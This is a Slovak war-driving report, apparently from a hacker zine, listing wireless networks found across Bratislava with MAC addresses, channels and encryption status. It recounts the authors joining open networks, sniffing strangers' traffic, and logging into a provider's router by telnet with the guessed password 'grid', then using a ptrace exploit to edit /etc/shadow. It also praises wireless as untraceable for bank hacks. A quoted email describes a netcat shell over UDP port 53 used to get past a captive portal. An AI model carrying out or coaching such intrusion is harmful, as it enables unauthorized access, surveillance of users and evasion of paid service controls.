007SOU 00:02:78:e1:d3:f0 3 samsung ap nie
CDutar 00:02:78:e2:00:04 7 samsung ap nie
009SOUAP 00:02:78:e1:ff:f1 13 samsung ap nie
sunteq2 00:90:4b:60:60:db 13 gemtek (d-link) ap nie
rainap 00:02:78:e0:34:af 3 samsung ap nie
--------------------------------------------------------------------------------
poznamka: *SOU* je zjavne miestne stredne odborne uciliste kusok od kerametalu.
rainap je zjavne mikrovlnka datalock rainside.

lokalita: koliba, pod vysielacom
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
b0de6a 00:40:96:34:85:80 4 cisco (aironet) ap nie
TECHPRAZSKA 00:90:4b:0b:22:d1 7 gemtek (d-link) ap ano
txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano
Backup34 00:10:e7:f5:54:07 7 breezenet ap ano
--------------------------------------------------------------------------------

lokalita: krizna, pri slovnaft pumpe
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
tsunami 00:40:96:34:85:64 6 cisco (aironet) ap nie
cyrano 00:60:b3:16:66:1d 1 z-com ap nie
chtf-kor 00:04:47:50:11:48 5 ap nie
--------------------------------------------------------------------------------
poznamka: chtf je zjavne chemicko-technologicka fakulta stu. na cyrano sme sa
napichli pri budove chtf:

eth1 IEEE 802.11-DS ESSID:"cyrano" Nickname:"HERMES I"
Mode:Managed Frequency:2.457GHz Access Point: 44:44:44:44:44:44
Bit Rate:2Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:0/92 Signal level:134/153 Noise level:134/153
Rx invalid nwid:0 Rx invalid crypt:32 Rx invalid frag:6955
Tx excessive retries:37 Invalid misc:0 Missed beacon:0

eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE
inet addr:63.112.169.6 Bcast:63.255.255.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:37984 errors:70458 dropped:0 overruns:0 frame:70457
TX packets:4495 errors:42 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:5048648 (4.8 Mb) TX bytes:625024 (610.3 Kb)
Interrupt:5 Base address:0x100

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
63.112.169.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo

lokalita: krizna, hotel kyjev
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
cyrano 00:60:b3:16:66:1d 1 z-com ap nie
wli_001 00:60:b3:16:1b:35 11 z-com ap nie
wli_003 00:60:b3:16:31:fe 3 z-com ap nie
MadNet_Manderla_Omni 00:c0:02:46:13:80 2 ap nie
--------------------------------------------------------------------------------

lokalita: lesna ulica
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
1234 00:40:96:44:31:94 10 cisco (aironet) ap nie
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
metros 00:60:b3:66:12:a5 5 z-com ap nie
metrom 00:60:b3:4f:1e:e4 12 z-com ap nie
paleo1 00:60:b3:16:63:f5 13 z-com ap nie
matrix 00:60:b3:16:63:ef 9 z-com ap nie
metror 00:60:b3:66:12:a6 8 z-com ap nie
--------------------------------------------------------------------------------

lokalita: majernikova 17, zastavka autobusu
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
WL 72:de:c0:2e:52:c3 1 peer nie
hotspot 00:90:0e:00:25:33 6 ap nie
homeoffice 00:02:2d:30:5b:60 11 agere(lucent)orinoco ap ano
sturak 02:02:2d:0e:89:97 9 agere(lucent)orinoco peer ano
12121212 22:00:e4:02:f4:02 3 peer nie
EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie
HRAD2DD 00:02:78:e1:d4:28 4 samsung ap nie
borik 00:60:b3:16:66:0a 9 z-com ap nie
DMC-BA 00:02:2d:1f:7a:13 7 agere(lucent)orinoco ap nie
-------------------------------------------------------------------------------

lokalita: matusova 17
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
DMC-BA 00:02:2d:1f:7a:13 7 agere(lucent)orinoco ap nie
CDkramareAP 00:02:78:e1:ff:f2 3 samsung ap nie
Academia 00:40:96:44:8a:ab 5 cisco (aironet) ap nie
--------------------------------------------------------------------------------

lokalita: mileticovam, pri trznici
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
CDICON02 00:60:b3:4f:1c:2a 2 z-com ap nie
Andrej Network 00:02:2d:07:c4:c9 1 agere(lucent)orinoco ap nie
postelap 00:02:78:e1:d3:bf 13 samsung ap nie
--------------------------------------------------------------------------------

lokalita: mileticova - trnavska
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
00ABFF07 00:02:78:e1:d3:91 12 samsung ap nie
CASABLANCA_KOV3 02:02:2d:4f:15:b2 11 agere(lucent)orinoco ap ano
cdicon 00:02:78:e1:d4:2e 8 samsung ap nie
TeleViaWireless2 00:60:1d:21:dd:a8 13 agere (lucent) wavelan ap nie
1034 00:40:96:44:2a:d3 10 cisco (aironet) ap nie
00AB 00:60:b3:4f:02:4a 7 z-com ap nie
wlanba1 00:60:b3:16:5c:d9 11 z-com ap nie
waskol 00:90:4b:0e:cd:e7 3 gemtek(d-link) ap nie
TeleViaWireless 00:60:1d:21:dc:bb 2 agere (lucent) wavelan ap nie
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
textpalkov 00:90:4b:0b:5b:f6 4 gemtek(d-link) ap ano
realnetpbly 4e:03:d5:00:e2:02 6 peer nie
sibirska 00:90:4b:0d:ce:3f 13 gemtek(d-link) ap nie
metrom 00:60:b3:4f:1e:e4 12 z-com ap nie
--------------------------------------------------------------------------------
poznamka: na wlanba1 bezalo velke mnozstvo http trafficu. akurat niekto searchoval
google. napichli sme sa na neho na parkovisku pri rozhlase. tu su sietove udaje:

eth1 IEEE 802.11-DS ESSID:"wlanba1" Nickname:"HERMES I"
Mode:Managed Frequency:2.462GHz Access Point: 00:60:B3:16:5C:D9
Bit Rate:2Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:8/92 Signal level:-90 dBm Noise level:-98 dBm
Rx invalid nwid:0 Rx invalid crypt:15 Rx invalid frag:6953
Tx excessive retries:35 Invalid misc:0 Missed beacon:0

eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE
inet addr:192.168.2.109 Bcast:192.168.2.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:37734 errors:67241 dropped:0 overruns:0 frame:67240
TX packets:4458 errors:34 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:4975543 (4.7 Mb) TX bytes:619264 (604.7 Kb)
Interrupt:5 Base address:0x100

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
192.168.2.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo

lokalita: mileticova - kosicka
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
CDICON02 00:60:b3:4f:1c:2a 2 z-com ap nie
postelap 00:02:78:e1:d3:bf 13 samsung ap nie
Andrej Network 00:02:2d:07:c4:c9 1 agere(lucent)orinoco ap nie
txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano
milnapal 00:90:4b:0b:5b:74 9 gemtek(d-link) ap ano
textpalkov 00:90:4b:0b:5b:f6 4 gemtek(d-link) ap ano
bct 00:02:78:e1:43:e1 11 samsung ap nie
ssc-pd 00:02:78:e0:32:c9 13 samsung ap nie
00ABFF07 00:02:78:e1:d3:91 12 samsung ap nie
cdicon 00:02:78:e1:d4:2e 8 samsung ap nie
1034 00:40:96:44:2a:d3 10 cisco (aironet) ap nie
CASABLANCA_KOVTECH 02:02:2d:52:0a:32 13 agere(lucent)orinoco peer ano
00AB 00:60:b3:4f:02:4a 7 z-com ap nie
gasss 00:02:78:e0:e3:28 12 samsung ap nie
--------------------------------------------------------------------------------

lokalita: mlynska dolina pod lafranconi mostom
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
metror 00:60:b3:66:12:a6 8 z-com ap nie
DMC-BA 00:02:2d:1f:7a:13 7 agere(lucent) orinoco ap nie
--------------------------------------------------------------------------------

lokalita: most snp
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
SAVJULS 00:40:96:34:e3:1c 10 cisco (aironet) ap nie
TECHPRAZSKA 00:90:4b:0b:22:d1 7 gemtek (d-link) ap ano
EUnet Kutlikova Centrum 00:60:1d:1e:b4:f6 6 agere (lucent) wavelan ap nie
--------------------------------------------------------------------------------
poznamka: pod mostom snp sme zastali na parkovisku oproti restauracii leberfinger.
trochu sme vyplasili taku pettingujucu dvojicu vo vedlajsom zaparkovanom aute;
treba uznat ze sme vyzerali podivne a bola uz aj pozdna nocna hodina. no ale k veci,
prijemnych 256kb/s nam na pockanie dodal eunet az z dalekeho technopolu:

eth1 IEEE 802.11-DS ESSID:"EUnet Kutlikova Centrum" Nickname:"HERMES I"
Mode:Managed Frequency:2.437GHz Access Point: 00:60:1D:1E:B4:F6
Bit Rate:1Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:4/92 Signal level:-89 dBm Noise level:-93 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:32
Tx excessive retries:213 Invalid misc:0 Missed beacon:0

eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE
inet addr:194.1.174.3 Bcast:194.1.174.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:10739 errors:8628 dropped:0 overruns:0 frame:8107
TX packets:1030 errors:209 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:3698111 (3.5 Mb) TX bytes:325572 (317.9 Kb)
Interrupt:5 Base address:0x100

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
194.1.174.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo
0.0.0.0 194.1.174.1 0.0.0.0 UG 0 0 0 eth1

lokalita: saratovska
zial z tejto lokality nemame zoznam sieti, sem do dubravky sme isli ako na poslednu
lokalitu cestou domov. na zastavke autobusu saratovska 2 sme sa napichli na siet
metrod:

eth1 IEEE 802.11-DS ESSID:"metrod" Nickname:"HERMES I"
Mode:Managed Frequency:2.462GHz Access Point: 00:60:B3:66:38:A4
Bit Rate:1Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:12/92 Signal level:-84 dBm Noise level:-96 dBm
Rx invalid nwid:0 Rx invalid crypt:3275 Rx invalid frag:74
Tx excessive retries:1102 Invalid misc:0 Missed beacon:0

eth1 Link encap:Ethernet HWaddr 00:02:2D:2E:BA:BE
inet addr:62.168.108.212 Bcast:62.255.255.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:31309 errors:16064 dropped:0 overruns:0 frame:15447
TX packets:6647 errors:102046 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:11998952 (11.4 Mb) TX bytes:1265135 (1.2 Mb)
Interrupt:5 Base address:0x100

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
62.168.108.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo
0.0.0.0 62.168.108.210 0.0.0.0 UG 0 0 0 eth1

noo a potom nastala pekna vypapavka - root na routovacom linuxe do 2-3 minut
od prvotneho pripojenia na siet. nmap na adresu 62.168.108.209 ukazal kopec
volnych portov, takze nasledovalo:

# finger grid@62.168.108.209
[62.168.108.209]
login: root
Directory: /root
Last login Wed Nov 13 01:47 (CET) on pts/1 from sky.grid.sk
No mail.
No Plan.
#finger grid@62.168.108.209
Login: grid
Directory: /home/grid
Never logged in.
No mail.
No Plan.
# telnet 62.168.108.209
Connected to 62.168.108.209.
Escape character is '^]'.

Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0 on an i586
login: root
Password: (skusili sme heslo grid)
Login incorrect

login: grid
Password: (skusili sme heslo grid)
[grid@rep grid]$

a voila boli sme dnuka.
potom este male sondovanie...

[grid@rep mars_nwe]$ /usr/sbin/traceroute 195.168.3.1
traceroute to 195.168.3.1 (195.168.3.1), 30 hops max, 38 byte packets
1 b-b.grid.sk (62.168.120.146) 15.018 ms 11.940 ms 7.420 ms
2 k-m.grid.sk (62.168.120.177) 15.149 ms 3.867 ms 3.548 ms
3 a-s.grid.sk (62.168.120.129) 8.410 ms * 11.311 ms

[grid@rep mars_nwe]$ telnet 62.168.120.146
Trying 62.168.120.146...
telnet: Unable to connect to remote host: Connection refused
[grid@rep mars_nwe]$ telnet 62.168.120.177
Trying 62.168.120.177...
telnet: Unable to connect to remote host: Connection refused
[grid@rep mars_nwe]$ telnet 62.168.120.129
Trying 62.168.120.129...
telnet: Unable to connect to remote host: Connection refused
[grid@rep mars_nwe]$
[grid@rep mars_nwe]$ ls -al

ako uz bolo hore spomenute baterky na maniacovom notebooku dosli v
najnevhodnejsej chvili - pri editacii /etc/shadow na tomto mikrovlnnom
routri [ptrace exploit sme tahali samozrejme po luxusnom 256kbps mikrovlnnom
konekte] :) samozrejme hned sme pripli aj antoniov notebook, ale kym sa o5
dostal na ten router, tak notebook zdochol aj jemu - proste murphy sa nam
zubil do xichtu a odkazoval nam, ze o tretej rano by uz bolo nacim ist spat :)
co by ale bol hriech nespomenut je to, ze "provider" inkriminovanej wireless
siete mal na vsetkych interfejsoch pustene sniffre a poctivo logoval cely
traffic (takze ked si vyberate ISP, tak rozmyslajte aj nad tym ktoreho
si vyberiete a co mu nechate citat :) pripadne aj hocikomu okoloiducemu v
pripade ze konfiguracia mw zariadeni bola odflaknuta).

lokalita: slavin - misikova ulica
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
Technologies 00:60:b3:4f:04:cc 13 z-com ap nie
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie
bct1 00:02:78:e0:2b:07 11 samsung ap nie
dcc 00:60:b3:4f:04:da 9 z-com ap nie
wli_001 00:60:b3:16:1b:35 11 z-com ap nie
wli_004 00:90:4b:0b:5b:9b 13 gemtek (d-link) ap nie
default 00:60:b3:10:05:a0 13 z-com peer nie
5a51ee 00:40:96:29:db:28 10 cisco (aironet) ap nie
Backup34 00:10:e7:f5:54:07 7 breezenet ap ano
postelap 00:02:78:e1:d3:bf 13 samsung ap nie
--------------------------------------------------------------------------------

lokalita: slavin
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
MadNetMediaOmni 00:c0:02:46:15:74 7 ap nie
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie
tsunami 00:40:96:34:85:64 6 cisco (aironet) ap nie
wli_001 00:60:b3:16:1b:35 11 z-com ap nie
dunaj1 00:02:78:e0:34:9d 1 samsung ap nie
zipp 00:02:78:e1:45:46 1 samsung ap nie
Technologies 00:60:b3:4f:04:cc 13 z-com ap nie
EUnet Kutlikova Centrum 00:60:1d:1e:b4:f6 6 agere (lucent) wavelan ap nie
--------------------------------------------------------------------------------

lokalita: stara vinarska cesta
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
dcc 00:60:b3:4f:04:da 9 z-com ap nie
EUnet Kutlikova Centrum 00:60:1d:1e:b4:f6 6 agere (lucent) wavelan ap nie
dunaj1 00:02:78:e0:34:9d 1 samsung ap nie
finger 00:02:78:e1:10:36 9 samsung ap nie
SAVJULS 00:40:96:34:e3:1c 10 cisco (aironet) ap nie
wli_001 00:60:b3:16:1b:35 11 z-com ap nie
--------------------------------------------------------------------------------
poznamky: tu sme chvilu pobudli pripojeni na "EUnet Kutlikova Centrum". na sieti
bola cula prevadzka, tu su parametre pripojenia:

eth1 IEEE 802.11-DS ESSID:"EUnet Kutlikova Centrum" Nickname:"HERMES I"
Mode:Managed Frequency:2.437GHz Access Point: 00:60:1D:1E:B4:F6
Bit Rate:1Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Power Management:off
Link Quality:3/92 Signal level:-88 dBm Noise level:-92 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:22
Tx excessive retries:117 Invalid misc:0 Missed beacon:0

eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE
inet addr:194.1.174.5 Bcast:194.1.174.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:6605 errors:2660 dropped:0 overruns:0 frame:2660
TX packets:893 errors:205760 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:3649690 (3.4 Mb) TX bytes:153056 (149.4 Kb)
Interrupt:5 Base address:0x100

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
194.1.174.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo
0.0.0.0 194.1.174.1 0.0.0.0 UG 0 0 0 eth1

za poznamku tiez stoji ze sa dal sniffovat dost culy traffic, dokonca sme spoznali
irc traffic jedneho znameho. pripadali sme si ako keby sme vkracali do serverovne
eunetu a strcili si kabel do nejakeho velkeho hubu...

lokalita: namestie snp
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
dunaj1 00:02:78:e0:34:9d 1 samsung ap nie
hozsvor 00:02:78:e0:34:bc 7 samsung ap nie
horsec2 00:02:78:e1:45:4c 4 samsung ap nie
My Wireless Network A 00:02:2d:51:06:e1 3 agere (lucent) orinoco ap nie
wli_001 00:60:b3:16:1b:35 11 z-com ap nie
wli_003 00:60:b3:16:31:fe 3 z-com ap nie
horzqu 00:02:78:e1:45:f6 10 samsung ap nie
--------------------------------------------------------------------------------

lokalita: tomasikova - nevadzova, pri televizii luna
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
lunar 00:90:4b:08:0c:9f 7 gemtek (d-link) ap ano
CDutar 00:02:78:e2:00:04 7 samsung ap nie
-------------------------------------------------------------------------------

lokalita: petrzka - pred tpd
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
vrakuna-imc 00:02:78:e1:d3:ff 12 samsung ap nie
EWInchebaPristav 00:02:2d:3e:fe:95 4 agere (lucent) orinoco ap nie
tpd-ap 00:02:78:e1:ff:f4 13 samsung ap nie
--------------------------------------------------------------------------------
poznamka: vonku pred obchodnym domom tpd bol super signal na siet tpd-ap. behalo
tam viacero sieti:

192.168.x.x
195.168.3.2 [rovnake data ako na kolibe]
10.x.x.x siet

lokalita: pionierska
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
metro 00:40:96:24:bf:f3 7 cisco (aironet) ap nie
sibirska 00:90:4b:0d:ce:3f 13 gemtek(d-link) ap nie
TeleViaWireless2 00:60:1d:21:dd:a8 13 agere (lucent) wavelan ap nie
TeleViaWireless 00:60:1d:21:dc:bb 2 agere (lucent) wavelan ap nie
cdicon 00:02:78:e1:d4:2e 8 samsung ap nie
tsunami 00:40:96:34:85:64 6 cisco (aironet) ap nie
blabla 00:60:b3:16:84:cf 3 z-com ap nie
--------------------------------------------------------------------------------

lokalita: parkovisko na streche polusu
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
racsz 02:02:65:3b:6c:3b 3 peer nie
istro1 00:02:78:e0:34:86 7 samsung ap nie
b0de6a 00:40:96:38:3f:02 4 cisco (aironet) ap nie
ssek-tr 00:02:78:e0:33:6f 12 samsung ap nie
--------------------------------------------------------------------------------

lokalita: parkovisko na streche polusu - blizsie k administrativnej budove
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
tomas0 00:02:78:e2:00:31 8 samsung ap nie
racsz 02:02:65:3b:6c:3b 3 peer nie
ssek-tr 00:02:78:e0:33:6f 12 samsung ap nie
tomas1 00:02:78:e1:44:17 9 samsung ap nie
--------------------------------------------------------------------------------
poznamka: nooo cakali sme wlanku ibm alebo eurotelu :(

lokalita: prazska ulica
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
00AB 00:60:b3:4f:02:4a 7 z-com ap nie
PRAVA 00:90:4b:08:0b:d6 11 gemtek (d-link) ap nie
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
1234 00:40:96:44:31:94 10 cisco (aironet) ap nie
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
5a51ee 00:40:96:29:db:28 10 cisco (aironet) ap nie
--------------------------------------------------------------------------------

lokalita: prievozska - bajkalska
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
CDutar 00:02:78:e2:00:04 7 samsung ap nie
grtostav 00:90:4b:0b:5c:47 11 gemtek (d-link) ap ano
txgrtobaj 00:90:4b:0b:5c:14 6 gemtek (d-link) ap ano
txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano
horzqu 00:02:78:e1:45:f6 10 samsung ap nie
zse3 00:02:78:e0:b3:d1 3 samsung ap nie
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie
EuroWeb Bajkalska East 00:60:1d:f6:7b:72 12 agere(lucent) wavelan ap nie
EuroWeb Bajkalska Omni 00:60:1d:04:06:4f 1 agere(lucent) wavelan ap nie
EWInchebaPristav 00:02:2d:3e:fe:95 4 agere(lucent) orinoco ap nie
--------------------------------------------------------------------------------

lokalita: prievozska - business centrum
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
grtostav 00:90:4b:0b:5c:47 11 gemtek (d-link) ap ano
ANY 00:02:2d:00:82:d0 7 agere(lucent) orinoco ap nie
bct 00:02:78:e1:43:e1
zse3 00:02:78:e0:b3:d1 3 samsung ap nie
txgrtobaj 00:90:4b:0b:5c:14 6 gemtek (d-link) ap ano
txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano
--------------------------------------------------------------------------------

lokalita: majernikova - pribisova
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
sturak 02:02:2d:0e:89:97 9 agere(lucent)orinoco peer ano
EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie
vran 00:90:4b:0b:5c:a5 6 gemtek (d-link) ap ano
freeehr 00:02:78:e0:34:ba 8 samsung ap nie
borik 00:60:b3:16:66:0a 9 z-com ap nie
WL 72:de:c0:2e:52:c3 1 peer nie
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
hradport4 00:02:78:e1:d3:a9 12 samsung ap nie
PRIFUKAP 00:02:78:e0:b3:90 5 samsung ap nie
18181818 a6:01:7d:00:94:03 11 peer nie
zad-mat 00:02:78:e1:d3:b5 2 samsung ap nie
EUnet Petrzalka East 00:02:2d:09:1b:1b 1 agere(lucent)orinoco ap nie
freee 00:02:78:e0:34:21 2 samsung ap nie
vran2 00:90:4b:08:0b:c0 1 gemtek (d-link) ap ano
imc-mat-ap 00:02:78:e1:d3:b6 7 samsung ap nie
mat3 00:90:4b:08:0c:81 11 gemtek (d-link) ap nie
12121212 22:00:e4:02:f4:02 3 peer nie
martineg 00:02:78:e1:10:23 1 samsung ap nie
HRAD2DD 00:02:78:e1:d4:28 4 samsung ap nie
OrinocoAP 00:02:2d:2c:ea:59 7 agere(lucent)orinoco ap nie
--------------------------------------------------------------------------------

lokalita: stary most
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
horsec2 00:02:78:e1:45:4c 4 samsung ap nie
EWInchebaPristav 00:02:2d:3e:fe:95 4 agere(lucent) orinoco ap nie
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
dcc 00:60:b3:4f:04:da 9 z-com ap nie
SAVJULS 00:40:96:34:e3:1c 10 cisco (aironet) ap nie
hrad 00:02:78:e1:45:21 1 samsung ap nie
zse3 00:02:78:e0:b3:d1 3 samsung ap nie
vrakuna-imc 00:02:78:e1:d3:ff 12 samsung ap nie
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
mat1 00:90:4b:08:0c:70 6 gemtek (d-link) ap nie
--------------------------------------------------------------------------------

lokalita: stromova - pri siemense
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
WaveLAN Network 00:02:a5:2d:a2:d9 10 ap ano
Inoteska 02:90:87:c7:b5:bd 9 peer nie
--------------------------------------------------------------------------------

lokalita: teslova
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
govline 00:02:78:e0:34:82 6 samsung ap nie
norton_home 00:02:2d:0c:fa:fb 11 agere (lucent) orinoco ap ano
tomas0 00:02:78:e2:00:31 8 samsung ap nie
--------------------------------------------------------------------------------

lokalita: tomasikova - drienova
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
tomas1 00:02:78:e1:44:17 9 samsung ap nie
metrom 00:60:b3:4f:1e:e4 12 z-com ap nie
txgrtobaj 00:90:4b:0b:5c:14 6 gemtek (d-link) ap ano
ANECT_BA-SSID#1 00:0a:8a:5f:33:50 7 ap ano
--------------------------------------------------------------------------------

lokalita: tomasikova - vajnorska
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
tomas1 00:02:78:e1:44:17 9 samsung ap nie
tomas0 00:02:78:e2:00:31 8 samsung ap nie
tercoplast 02:90:c3:57:a5:87 1 peer ano
racsz 02:02:65:3b:6c:3b 3 peer nie
milnapal 00:90:4b:0b:5b:74 9 gemtek (d-link) ap ano
--------------------------------------------------------------------------------


statistika



skenovanim zopar vybranych lokalit v sirsom centre blavy sme nasli 143 wlan sieti.
z nich 26 bolo kryptovanych, co je len 18%; zvysnych 117 sieti bolo nekryptovanych.
z tych 117 zhruba na polovici sme vedeli byt aktivni bud automaticky pridelenymi dhcp udajmi, alebo
nakonfigurovanim ip adresy na zaklade tcpdumpu. zhruba na polovici sieti kde sme mohli
byt aktivni sme dokazali do par minut najst gateway alebo proxy von na internet.



zaverom



celkom sme sa bavili na tom ako nas okolo polnoci zastavila policajna hliadka
v okoli pionierskej ulice a snazili sa pochopit co nam to trci z auta :)
pohlad do auta plneho pozapinanych notebookov a kablov bol tiez iste zvlastny..
..nastastie boli policajti chapavi a nechali nas dokoncit nas "skolsky projekt" ;)



nuz ale, co dodat zaverom.. dnes v dobe handheldov s wireless interfejsmi a teenagermi, ktori si z
krabicky od Prinkles chipsov spravia yagi antenu by sme odporucali kryptovat
co sa len da. vid pripad "slavin", kde sme sa bavili na tom ako sa jeden nas
znamy pokusa najst nejake mp3 na warezackych kanaloch na ircnete, svet je maly :)



ukazalo sa ze pripojit sa na internet pomocou bezdratovej siete je v bratislave velmi
jednoduche. je to ten najanonymnejsi sposob pripojenia na internet aky existuje. nikto
vas nikdy nevystopuje. je to anonymnejsie ako cez gsm, pevnu linku, alebo v internetovej
kaviarni s umelymi fuzami. takze ak sa chystate na ten tucny hack velkej banky (viz dva prielomy dozadu),
staci si sadnut s malym notebookom niekde na slavin..


..a naco slavin, mozete sa hrat priamo doma alebo trebars na hoteli. zaujimavu story o pripajani sa
na bezdrat v norsku poslal maniac mailom:




Nooo,



mali sme hotel asi 500m od istej telekomunikacnej budovy vo Furnebu.
Tak som vytiahol notebuk na izbe, ze xecknem ci mame signal
a viola, signal strength: Excellent.
Dokonca aj DHCP sa rozficalo, dostal som verejnu ip, nska a gateway.
Bol to adresny priestor Telenor Mobile. Samozrejme bolo to komplet
zafirewallovane a browser mi na akekolvek url hodil uvitaciu obrazovku TM s
tym ze mozem mat testovaciu prevadzku na dobu 3 minuty :-)
Mali to dost advanced porobene, ziadne overflowy ani cross-site na to php
nezaberali. Nmapom som poscanoval pridelenu siet nasiel som tam este jednu
masinu - NTcka, ktore boli ale zaheslovane a nic sa s nimi nedalo riesit.
Pripomeniem ze prihlasovacia stranka TM bola na https.
Nasledne som zistil, ze kamkolvek spravim TCP konekt, dostanem odpoved asi
takuto: "http://10.0.10.1 HTTP/1.0". Dokonca pri pokuse o konekt na 25 alebo
110, alebo 21 bol pred tym url este 2xx-tkovy kod danej sluzby.
Cize niekto sa s tym celkom dobre vyhral.. Ta aplikacia sa vola NOMAD.



Napadlo ma este skusit ci fici dnsko priamo zvonka. A fici! Takze dalsi den
ked sme boli v Telenore, tak som si na localhost.sk pustil na jednej z ipeciek
netcat na porte 53/udp, ktory pustal tcsh. Hladal som nejaky rozumny tunel
ale
nic som nenasiel, takze som ostal pri tom netcate. Problem bol v tom, ze som
mohol spravit len jeden konekt. Akonahle som sa diskonektol tak uz sa nedalo
pripojit druhy krat, NC ostal vysiet, cize sa to nedalo poriesit cez
inittab/daemontools. Takze na hotel som odchadzal s tym ze mam presne jeden
pokus (samozrejme aj to len v pripade, ze mi v tedy na izbe naozaj odpovedal
localhos.sk a nebol to len nejaky fake cez NAT alebo take volaco).



Takze pomocou nc som sa cez udp/sport53/dport53 pripojil na lhost priamo z
hotela ;-) Problem bol v tom ze som nemohol riskovat ziadne ctrl+c/ctrl+d a
pod.
